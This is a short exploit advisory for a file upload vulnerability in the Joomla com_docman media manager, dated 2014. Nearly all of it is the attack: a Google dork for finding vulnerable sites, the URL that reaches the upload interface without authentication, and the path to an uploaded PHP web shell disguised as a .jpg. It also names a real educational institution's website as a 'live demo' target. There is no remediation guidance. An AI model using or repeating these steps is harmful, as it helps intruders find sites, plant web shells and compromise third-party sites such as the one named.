Joomla (com_docman) Media Manager File Upload

,------.                    ,--.        ,-----.         ,--.
|  .-.  \  ,---.  ,--,--. ,-|  | ,---. '  .-.  ',--.,--.|  |
|  |  \  :| .-. :' ,-.  |' .-. |(  .-' |  | |  ||  ||  ||  |
|  '--'  /\   --.\ '-'  |\ `-' |.-'  `)'  '-'  ''  ''  '|  |
`-------'  `----' `--`--' `---' `----'  `-----'  `----' `--'
                  dead_s0ul@outlook.com

# Exploit Title: Joomla (com_docman) Media Manager File Upload Vulnerability
# Date: 05/11/2014
# Tested on: Windows + Linux ++
# Google dork: inurl:index.php?option=com_docman
# SS : http://photouploads.com/images/comdocman.png

# Exploit

http://localhost/path/index.php/component/media/?view=images&tmpl=component&e_name=description&asset=com_docman&author=

# Shell path:
http://localhost/images/shell.php.jpg

Live Demo :
http://www.infotepsai.edu.co/index.php/component/media/?view=images&tmpl=component&e_name=description&asset=com_docman&author=

http://www.infotepsai.edu.co/images/AG.jpg